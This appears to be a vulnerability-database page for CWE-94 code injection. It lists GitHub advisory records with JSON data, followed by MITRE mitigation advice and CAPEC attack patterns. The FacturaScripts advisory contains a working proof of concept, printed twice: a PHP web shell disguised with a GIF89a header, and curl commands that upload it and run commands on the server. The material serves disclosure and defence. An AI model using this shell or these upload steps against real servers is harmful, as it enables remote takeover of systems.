Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8313 vulnerabilities reference this CWE, most recent first.

GHSA-VCG3-F395-4Q6Q

Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2022-05-17 04:38
VLAI
Details

admin/options/logs.php in Status2k allows remote authenticated administrators to execute arbitrary commands via shell metacharacters in the Location field in Add Logs in the Admin Panel.

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{
  "affected": [],
  "aliases": [
    "CVE-2014-5090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-08-06T18:55:00Z",
    "severity": "MODERATE"
  },
  "details": "admin/options/logs.php in Status2k allows remote authenticated administrators to execute arbitrary commands via shell metacharacters in the Location field in Add Logs in the Admin Panel.",
  "id": "GHSA-vcg3-f395-4q6q",
  "modified": "2022-05-17T04:38:47Z",
  "published": "2022-05-17T04:38:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5090"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/127719/Status2k-XSS-SQL-Injection-Command-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VCHQ-8F7W-W3QF

Vulnerability from github – Published: 2022-05-01 18:34 – Updated: 2025-04-09 03:47
VLAI
Details

PHP remote file inclusion vulnerability in _lib/fckeditor/upload_config.php in Galmeta Post 0.11 allows remote attackers to execute arbitrary PHP code via a URL in the DDS parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-5567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-18T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in _lib/fckeditor/upload_config.php in Galmeta Post 0.11 allows remote attackers to execute arbitrary PHP code via a URL in the DDS parameter.",
  "id": "GHSA-vchq-8f7w-w3qf",
  "modified": "2025-04-09T03:47:34Z",
  "published": "2022-05-01T18:34:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5567"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37412"
    },
    {
      "type": "WEB",
      "url": "http://arfis.wordpress.com/2007/09/13/rfi-02-galmeta-post"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2007-October/001836.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26329"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VCJW-V3VJ-HCJ2

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30
VLAI
Details

The The Orders Tracking for WooCommerce plugin for WordPress for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.2.10. This is due to the plugin allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. A partial patch was released in 1.2.10, and a complete patch was released in 1.2.11.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-4039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:42:44Z",
    "severity": "MODERATE"
  },
  "details": "The The Orders Tracking for WooCommerce plugin for WordPress for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.2.10. This is due to the plugin allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. A partial patch was released in 1.2.10, and a complete patch was released in 1.2.11.",
  "id": "GHSA-vcjw-v3vj-hcj2",
  "modified": "2024-05-14T18:30:53Z",
  "published": "2024-05-14T18:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4039"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-orders-tracking/trunk/includes/frontend/frontend.php#L55"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3083652%40woo-orders-tracking\u0026new=3083652%40woo-orders-tracking\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/991ab188-869c-4875-80f3-940000a1717b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCQJ-C83J-76H7

Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44
VLAI
Details

PHP remote file inclusion vulnerability in admin/frontpage_right.php in Arcadem LE 2.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-6542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-27T23:46:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in admin/frontpage_right.php in Arcadem LE 2.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.",
  "id": "GHSA-vcqj-c83j-76h7",
  "modified": "2022-05-01T18:44:02Z",
  "published": "2022-05-01T18:44:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6542"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4764"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39802"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26986"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VCQR-RC2Q-63P5

Vulnerability from github – Published: 2026-01-08 21:30 – Updated: 2026-01-08 21:30
VLAI
Details

The snailjob component in RuoYi-Vue-Plus versions 5.5.1 and earlier, interface /snail-job/workflow/check-node-expression can execute QLExpress expressions, but it does not filter user input, allowing attackers to use the File class to perform arbitrary file reading and writing.

Severity
9.4 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2025-66916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T20:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "The snailjob component in RuoYi-Vue-Plus versions 5.5.1 and earlier, interface /snail-job/workflow/check-node-expression can execute QLExpress expressions, but it does not filter user input, allowing attackers to use the File class to perform arbitrary file reading and writing.",
  "id": "GHSA-vcqr-rc2q-63p5",
  "modified": "2026-01-08T21:30:34Z",
  "published": "2026-01-08T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66916"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Catherines77/e3f06b9c4cc6298579e858088a243c3d"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/dromara/RuoYi-Vue-Plus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Catherines77/code-au/blob/main/ruoyi-vue-plus/QLExpress.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCV5-9RJ4-6VPF

Vulnerability from github – Published: 2025-11-25 18:32 – Updated: 2025-11-25 18:32
VLAI
Details

NVIDIA NeMo Framework for all platforms contains a vulnerability in the NLP and LLM components, where malicious data created by an attacker could cause code injection. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-33204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T18:15:52Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA NeMo Framework for all platforms contains a vulnerability in the NLP and LLM components, where malicious data created by an attacker could cause code injection. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-vcv5-9rj4-6vpf",
  "modified": "2025-11-25T18:32:23Z",
  "published": "2025-11-25T18:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33204"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5729"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33204"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCV9-HX6W-934W

Vulnerability from github – Published: 2026-06-01 15:30 – Updated: 2026-06-01 15:30
VLAI
Details

A critical Remote Code Execution (RCE) vulnerability exists in Disig Web Signer versions 2.0.3 through 2.5.3.

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-8931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T15:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "A critical Remote Code Execution (RCE) vulnerability exists in Disig Web Signer versions 2.0.3 through 2.5.3.",
  "id": "GHSA-vcv9-hx6w-934w",
  "modified": "2026-06-01T15:30:43Z",
  "published": "2026-06-01T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8931"
    },
    {
      "type": "WEB",
      "url": "https://download.disigcdn.sk/cdn/products/websigner2/changelog.en.txt"
    },
    {
      "type": "WEB",
      "url": "https://download.disigcdn.sk/cdn/products/websigner2/changelog.sk.txt"
    },
    {
      "type": "WEB",
      "url": "https://qesportal.sk/Portal/en/Info/News#websigner255"
    },
    {
      "type": "WEB",
      "url": "https://qesportal.sk/Portal/sk/Info/News#websigner255"
    },
    {
      "type": "WEB",
      "url": "https://www.disig.sk/en/news/important-update-of-the-web-signer-application"
    },
    {
      "type": "WEB",
      "url": "https://www.disig.sk/sk/aktuality/dolezita-aktualizacia-aplikacie-web-signer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VCW7-C2C6-J546

Vulnerability from github – Published: 2022-05-02 06:15 – Updated: 2022-05-02 06:15
VLAI
Details

PHP remote file inclusion vulnerability in include/WBmap.php in WikyBlog 1.7.3 rc2 allows remote attackers to execute arbitrary PHP code via a URL in the langFile parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2010-0755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-02-27T00:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in include/WBmap.php in WikyBlog 1.7.3 rc2 allows remote attackers to execute arbitrary PHP code via a URL in the langFile parameter.",
  "id": "GHSA-vcw7-c2c6-j546",
  "modified": "2022-05-02T06:15:23Z",
  "published": "2022-05-02T06:15:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0755"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56519"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/62647"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/1002-exploits/wikyblog-rfishellxss.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11560"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38386"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VF2W-CQ9R-CWVW

Vulnerability from github – Published: 2021-12-16 00:01 – Updated: 2022-04-05 00:01
VLAI
Details

Microsoft Defender for IoT Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-41365, CVE-2021-42310, CVE-2021-42311, CVE-2021-42313, CVE-2021-42314, CVE-2021-42315, CVE-2021-43889.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-43882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-15T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Microsoft Defender for IoT Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-41365, CVE-2021-42310, CVE-2021-42311, CVE-2021-42313, CVE-2021-42314, CVE-2021-42315, CVE-2021-43889.",
  "id": "GHSA-vf2w-cq9r-cwvw",
  "modified": "2022-04-05T00:01:16Z",
  "published": "2021-12-16T00:01:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43882"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43882"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1553"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VF3Q-FRMR-VRR9

Vulnerability from github – Published: 2026-05-07 19:49 – Updated: 2026-06-08 23:53
VLAI
Summary
FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
Details

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

Summary

An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.

Details

The vulnerability exists in:

Core/Lib/ExtendedController/ProductImagesTrait.php

Specifically in the addImageAction() method.

Vulnerable Code

if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

Root Cause

  • The validation only checks if MIME type contains "image/"
  • This can be bypassed by prepending GIF89a magic bytes to a PHP file
  • The system incorrectly identifies the file as image/gif
  • The file is saved with a .php extension in a web-accessible directory

File Storage Behavior

Uploaded files are stored in:

/MyFiles/YYYY/MM/X.php

Where X is an auto-incrementing ID. This allows direct remote execution:

http://target/MyFiles/2026/03/2.php?cmd=id

Impact

Successful exploitation:

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.

Proof of Concept (Manual)

Step 1: Create malicious file

cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Step 2: Authenticate

  • Login to the application
  • Extract PHPSESSID from browser cookies

Step 3: Get CSRF token

curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Step 4: Upload shell

curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[]=@shell.jpg.php"

Step 5: Execute command

curl "http://target/MyFiles/2026/03/2.php?cmd=id"

Affected Products

Field Value
Ecosystem Packagist
CVE ID CVE-2026-42879
Package Name facturascripts/facturascripts
Affected Versions <= 2025.81
Patched Versions Not yet patched
Fixed in Pending

Remediation Recommendations

  1. Validate file extension — reject any upload where the filename ends in .php, .phtml, .phar, or other executable extensions, regardless of MIME type
  2. Re-generate filenames on the server — never use getClientOriginalName(); assign a safe UUID-based name with a validated extension
  3. Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
  4. Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like fileinfo rather than trusting client-supplied MIME

Credits

  • Discoverer: Abdullah Alwasabei / Guzrex
Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T19:49:05Z",
    "nvd_published_at": "2026-05-27T19:16:18Z",
    "severity": "MODERATE"
  },
  "details": "# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts\u0027 product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), \u0027image/\u0027)) {\n    Tools::log()-\u003eerror(\u0027file-not-supported\u0027);\n    continue;\n}\n \n$folder = Tools::folder(\u0027MyFiles\u0027);\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c \u0027EOF\u0027\nGIF89a\n\u003c?php\nsystem($_GET[\u0027cmd\u0027]);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o \u0027multireqtoken\\\" value=\\\"[^\\\"]*\\\"\u0027 | cut -d\u0027\"\u0027 -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** \u2014 reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** \u2014 never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** \u2014 serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** \u2014 validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex",
  "id": "GHSA-vf3q-frmr-vrr9",
  "modified": "2026-06-08T23:53:25Z",
  "published": "2026-05-07T19:49:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42879"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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